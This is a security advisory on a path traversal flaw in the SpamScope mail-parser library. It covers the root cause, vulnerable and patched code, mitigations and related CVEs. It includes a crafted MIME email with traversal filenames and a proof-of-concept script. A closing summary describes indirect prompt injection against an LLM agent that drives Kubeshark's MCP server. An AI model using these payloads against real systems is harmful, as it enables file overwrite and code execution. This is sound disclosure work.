Nov 17, 2026·9 min read·1 visit
A path traversal vulnerability in SpamScope mail-parser (>= 3.8.0, < 4.6.0) allows remote attackers to write or overwrite arbitrary files on the host filesystem when an application extracts attachments from a crafted email using write_attachments() or write_sample(). Upgrade to version 4.6.0 to remediate the flaw.
SpamScope mail-parser versions 3.8.0 prior to 4.6.0 contain a path traversal vulnerability (CWE-22) within the write_attachments() and write_sample() functions. The library passes untrusted attachment filenames directly into os.path.join() without stripping directory components, validating path containment, or verifying symbolic links. An attacker can send a crafted email containing relative path traversal sequences or absolute filesystem paths in the Content-Disposition header to write or overwrite arbitrary files accessible to the parsing process.
SpamScope mail-parser is a Python library that wraps the Python standard library email module to parse raw electronic mail messages. It extracts headers, body content, and MIME attachments into structured Python objects and provides helper methods to serialize or write extracted data to disk. Organizations commonly deploy mail-parser in automated email ingestion pipelines, spam analysis engines, security orchestration platforms, and ticketing systems.
In versions 3.8.0 prior to 4.6.0, mail-parser exposes a path traversal vulnerability classified under CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). The vulnerability resides in the attachment extraction APIs, specifically MailParser.write_attachments() in src/mailparser/core.py and write_sample() in src/mailparser/utils.py. When invoked, these functions read the attachment filename directly from the parsed MIME headers and concatenate it with the target output directory.
Because the library performs no sanitization on the parsed filename attribute before passing it to filesystem operations, an attacker can embed relative directory traversal sequences (such as ../ or ..\) or absolute paths (such as /etc/cron.d/job) inside the email's Content-Disposition header. When a downstream application calls write_attachments() on the untrusted message, the library writes the attachment payload outside the intended destination directory.
The impact of this vulnerability depends on the filesystem permissions of the process running mail-parser. If the application processes incoming emails and extracts attachments to disk automatically, a remote unauthenticated attacker can overwrite configuration files, SSH authorized_keys, Python scripts, or scheduled task definitions, leading to arbitrary code execution.
The root cause of CVE-2026-129296 is the direct use of untrusted MIME header metadata in os.path.join() combined with the absence of canonical path containment checks. When mail-parser parses a MIME part representing an attachment, it extracts the filename parameter from the Content-Disposition or Content-Type header (supporting both standard strings and RFC 2231/5987 encoded parameters) and stores it in the attachment dictionary under the filename key.
When write_sample(binary, payload, path, filename) is called, it constructs the target file path via sample = os.path.join(path, filename). In Python's os.path module, os.path.join() exhibits specific behavior when handling absolute paths: if any component passed to os.path.join() is an absolute path, all preceding components are discarded entirely. Consequently, if path is /var/spool/attachments and filename is /tmp/payload.sh, os.path.join() returns /tmp/payload.sh, completely ignoring the base directory.
Furthermore, if the attacker supplies relative traversal sequences such as ../../../../home/user/.bashrc, os.path.join() concatenates the strings without resolving or restricting upward directory movement. When the resulting path is passed to Python's built-in open() function in write mode ("wb" or "w"), the operating system kernel resolves the .. components and truncates or creates the file at the traversed location.
Two secondary issues compound the primary path traversal flaw in versions prior to 4.6.0:
..\..\file) parsed on a POSIX system or vice versa can lead to inconsistent sanitization if only native os.sep separators are inspected.os.path.islink()). If an attacker or local user placed a symlink inside the extraction directory pointing to an external file, open(sample, "wb") followed the symlink and overwrote the target file.Prior to version 4.6.0, attachment writing was handled in src/mailparser/utils.py. The vulnerable implementation accepted the filename string directly from the parsed attachment dictionary and opened the resulting path for writing.
# Vulnerable implementation in src/mailparser/utils.py (< 4.6.0)
def write_attachments(attachments, base_path):
for a in attachments:
write_sample(
binary=a["binary"],
payload=a["payload"],
path=base_path,
filename=a["filename"], # Untrusted input from MIME header
)
def write_sample(binary, payload, path, filename):
if not os.path.exists(path):
os.makedirs(path)
# BUG: os.path.join discards 'path' if 'filename' is absolute,
# and retains '../' sequences without containment verification.
sample = os.path.join(path, filename)
if binary:
with open(sample, "wb") as f:
f.write(payload)
else:
with open(sample, "w") as f:
f.write(payload)In commit 3d6cb7a51f2ad7ea57e529121dbd5d56f29fefe8 (merged via Pull Request #165), the maintainers introduced a multi-layered defense in src/mailparser/utils.py and src/mailparser/core.py. First, a dedicated helper function _safe_attachment_filename() strips all directory components and validates the filename format:
# Patched filename sanitization in src/mailparser/utils.py (>= 4.6.0)
def _safe_attachment_filename(filename):
"""Return an attachment filename without any directory components."""
# Reject non-string types and embedded null bytes
if not isinstance(filename, str) or "\x00" in filename:
raise ValueError("Invalid attachment filename")
# Normalize Windows backslashes to POSIX forward slashes on all platforms
# before extracting the final path component.
filename = os.path.basename(filename.replace("\\", "/"))
if filename in ("", ".", ".."):
raise ValueError("Invalid attachment filename")
return filenameSecond, write_sample() was updated to sanitize the filename, resolve canonical filesystem paths via os.path.realpath(), verify directory containment using os.path.commonpath(), and block symbolic links:
# Patched write_sample implementation in src/mailparser/utils.py (>= 4.6.0)
def write_sample(binary, payload, path, filename):
filename = _safe_attachment_filename(filename)
os.makedirs(path, exist_ok=True)
# Resolve canonical paths for both base directory and target sample
base_path = os.path.realpath(path)
sample = os.path.join(base_path, filename)
resolved_sample = os.path.realpath(sample)
# Verify that the resolved target resides strictly inside base_path
try:
contained = os.path.commonpath((base_path, resolved_sample)) == base_path
except ValueError:
contained = False
# Reject path escapes and pre-existing symbolic links
if not contained or os.path.islink(sample):
raise ValueError("Attachment path escapes the output directory")
if binary:
with open(sample, "wb") as f:
f.write(payload)
else:
with open(sample, "w") as f:
f.write(payload)> [!NOTE]
> To prevent multiple attachments with identical basenames (e.g., ../a/report.pdf and ../b/report.pdf) from silently overwriting one another after directory stripping, the patch also added _deduplicate_filename(). This helper tracks used filenames within a single write_attachments() call and appends an incrementing counter while preserving compound archive extensions (such as .tar.gz or .tar.xz).
The remediation in version 4.6.0 is comprehensive against path traversal vectors:
\ with / prior to calling os.path.basename() ensures that Windows-formatted traversal payloads are stripped even when parsed on Linux/POSIX hosts.os.path.realpath() together with os.path.commonpath() prevents symlink-based directory escapes.mail.attachments[i]["filename"] still retains the raw, unsanitized header string, while a new mail.attachments[i]["safe_filename"] key provides the sanitized basename. Applications that bypass write_attachments() and manually pass attachment["filename"] to open() remain vulnerable unless they switch to attachment["safe_filename"].Exploiting CVE-2026-129296 requires an attacker to deliver a crafted MIME email to an application or user that parses the message with mail-parser and calls write_attachments() or write_sample(). No authentication to the target system is required if the application ingests emails from an external SMTP server or public mailbox.
An attacker can construct a multipart MIME message utilizing three distinct bypass patterns in the Content-Disposition header: relative path traversal (../), absolute path specification (/path/to/file), or RFC 2231 URL-encoded traversal sequences (filename*=utf-8''..%2F..). Because Python's email module automatically decodes RFC 2231 parameters before populating the filename attribute, encoded slashes (%2F) are translated back into literal / characters before write_sample() is invoked.
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=frontier
--frontier
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Email message body with malicious attachment.
--frontier
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=../../../../tmp/pwned_relative.txt
SGVsbG8gZnJvbSByZWxhdGl2ZSBwYXRoIHRyYXZlcnNhbCE=
--frontier
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=/tmp/pwned_absolute.txt
SGVsbG8gZnJvbSBhYnNvbHV0ZSBwYXRoIHRyYXZlcnNhbCE=
--frontier
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename*=utf-8''..%2F..%2F..%2Ftmp%2Fpwned_encoded.txt
SGVsbG8gZnJvbSBSRkMgMjIzMSBlbmNvZGVkIHRyYXZlcnNhbCE=
--frontier--The following Python script demonstrates how an application using a vulnerable version of mail-parser (< 4.6.0) writes the attachment outside the designated safe_extract directory:
import mailparser
import os
import tempfile
raw_email = """MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=boundary
--boundary
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=../escaped_attachment.txt
VHJhdmVyc2FsIFN1Y2Nlc3M=
--boundary--
"""
with tempfile.TemporaryDirectory() as base_temp:
target_extract_dir = os.path.join(base_temp, "safe_extract")
os.makedirs(target_extract_dir, exist_ok=True)
# Parse the email using vulnerable mail-parser (< 4.6.0)
mail = mailparser.parse_from_string(raw_email)
# Extract attachments into the intended subdirectory
mail.write_attachments(target_extract_dir)
# Verify that the file escaped into the parent directory
escaped_file = os.path.join(base_temp, "escaped_attachment.txt")
if os.path.exists(escaped_file):
print(f"[!] File written outside target directory: {escaped_file}")
with open(escaped_file, "r") as f:
print(f" Contents: {f.read()}")When executed against mail-parser version 3.8.0 through 4.5.x, the script outputs confirmation that escaped_attachment.txt was written into base_temp rather than target_extract_dir.
CVE-2026-129296 carries a CVSS v3.1 base score of 6.5 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N. The Attack Vector is Network (AV:N) and Attack Complexity is Low (AC:L), reflecting that an attacker only needs to send a crafted email with no prior privileges (PR:N). User Interaction is marked as Required (UI:R) because the target system or user must process the email and invoke the attachment extraction functionality.
The primary security impact is High Integrity loss (I:H). Because write_sample() opens target files using `
The primary remediation is to upgrade mail-parser to version 4.6.0 or later. Version 4.6.0 enforces strict basename extraction, null-byte rejection, cross-platform separator normalization, canonical path containment checks, and symlink verification within write_attachments() and write_sample().
pip install --upgrade "mail-parser>=4.6.0"For applications that do not call write_attachments() directly but instead iterate over mail.attachments to perform custom file operations, developers must update their code to use the newly introduced safe_filename key rather than the raw filename key:
# Secure usage in mail-parser >= 4.6.0
for attachment in mail.attachments:
safe_name = attachment.get("safe_filename")
if not safe_name:
continue # Skip attachments with invalid or traversal-only filenames
# Proceed with writing using safe_nameIf an immediate upgrade to version 4.6.0 is not possible due to dependency constraints, applications must stop calling mail.write_attachments() and write_sample(). Instead, implement custom attachment extraction logic that strips directory components and validates path containment before writing to disk:
import os
import pathlib
def safe_write_attachment(attachment, destination_dir):
dest_path = pathlib.Path(destination_dir).resolve()
dest_path.mkdir(parents=True, exist_ok=True)
# Extract only the strict basename, normalizing Windows and POSIX separators
raw_name = attachment.get("filename") or "unnamed_attachment"
clean_name = os.path.basename(raw_name.replace("\\", "/"))
if clean_name in ("", ".", "..") or "\x00" in clean_name:
clean_name = "sanitized_attachment.bin"
target_file = (dest_path / clean_name).resolve()
# Verify canonical path containment
if os.path.commonpath([str(dest_path), str(target_file)]) != str(dest_path):
raise ValueError("Directory traversal attempt detected.")
if target_file.is_symlink():
raise ValueError("Target path is a symbolic link.")
mode = "wb" if attachment["binary"] else "w"
with open(target_file, mode) as f:
f.write(attachment["payload"])CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
mail-parser SpamScope | >= 3.8.0, < 4.6.0 | 4.6.0 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-129296 (GHSA-fr3h-cpq2-9496) |
| Vulnerability Class | CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') |
| CVSS v3.1 Score | 6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N) |
| Affected Component | SpamScope mail-parser (write_attachments and write_sample) |
| Affected Versions | >= 3.8.0, < 4.6.0 |
| Patched Version | 4.6.0 |
| Exploit Status | Proof-of-Concept (PoC) Available |
| CISA KEV Status | Not Listed |
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as '..' or absolute paths that can resolve to a location outside of that directory.
A Regular Expression Denial of Service (ReDoS) vulnerability exists in SpamScope mail-parser versions 4.2.0 prior to 4.6.1. Two separate regular expressions evaluated during standard email header parsing exhibit quadratic to cubic backtracking complexity when processing headers padded with whitespace or angle brackets. An unauthenticated remote attacker can exploit this flaw by sending a small, RFC-compliant email message, causing parsing worker threads or processes to stall at 100% CPU utilization for extended periods.
CVE-2026-129297 is an origin validation vulnerability (CWE-345) in the Python library mail-parser prior to version 4.6.2. The MailParser.get_server_ipaddress() method fails to properly isolate MTA-recorded client IP addresses from sender-controlled text within email Received headers. Due to naive substring delimiter matching, appearance-based regular expression scanning, and fail-open header traversal, remote attackers can spoof their originating IP address to bypass email security controls, blocklists, and anti-spam attribution.
CVE-2026-129299 (GHSA-24mq-4vc6-2prf) is a parsing and serialization flaw in SpamScope mail-parser prior to version 4.6.2. The library uses reflective Python attribute resolution (getattr) over untrusted email header names and applies caller convenience transformations (such as underscore-to-hyphen folding and _json/_raw suffix stripping) directly to wire headers. An unauthenticated remote attacker can send crafted emails that trigger uncaught TypeError exceptions during JSON serialization or cause security-relevant headers and body content to be silently dropped without setting defect indicators.
CVE-2026-129236 is a command-line argument injection vulnerability (CWE-88) in Kubeshark, an eBPF-based network observability tool for Kubernetes. Located within the Model Context Protocol (MCP) server implementation in cmd/mcpRunner.go, the flaw occurs when handling the start_kubeshark tool request. When the MCP server runs with the --allow-destructive flag, the callStartKubeshark function appends the caller-supplied pod_regex parameter directly to the kubeshark tap argument slice without an end-of-options (--) delimiter. Because Kubeshark uses the Cobra and pflag libraries for command-line parsing, any pod_regex value prefixed with a hyphen is interpreted as a CLI flag rather than a positional regular expression. An attacker capable of influencing MCP tool arguments, such as through indirect prompt injection against a connected Large Language Model (LLM) agent, can inject the --set flag to override Helm chart values like tap.docker.registry. Because Kubeshark deploys its worker DaemonSet with privileged security contexts and host networking enabled, redirecting the container image registry allows arbitrary code execution as root across all Kubernetes cluster nodes.
Kubeshark versions 53.1.0 prior to 53.4.0 contain an arbitrary file write and path traversal vulnerability (CWE-22) alongside an argument injection vulnerability (CWE-88) in the Model Context Protocol (MCP) server implementation (cmd/mcpRunner.go). The download_file tool fails to validate caller-supplied path and dest arguments, allowing an attacker who influences an AI agent driving kubeshark mcp to write Kubeshark Hub API responses to arbitrary locations writable by the local user. Additionally, the start_kubeshark tool appends the pod_regex argument without flag delimiters, allowing argument injection into the kubeshark tap subcommand.
CVE-2026-129300 (GHSA-xhrq-2mqv-q8wx) is an unhandled exception vulnerability in SpamScope mail-parser, a Python library used to parse raw emails. When processing an email with a malformed Received header containing an out-of-range year or timezone offset, standard library datetime conversion routines raise OverflowError or OSError. Because the internal error handler only caught TypeError and ValueError, these exceptions escape the parser hierarchy, terminating email ingestion pipelines and causing a denial of service.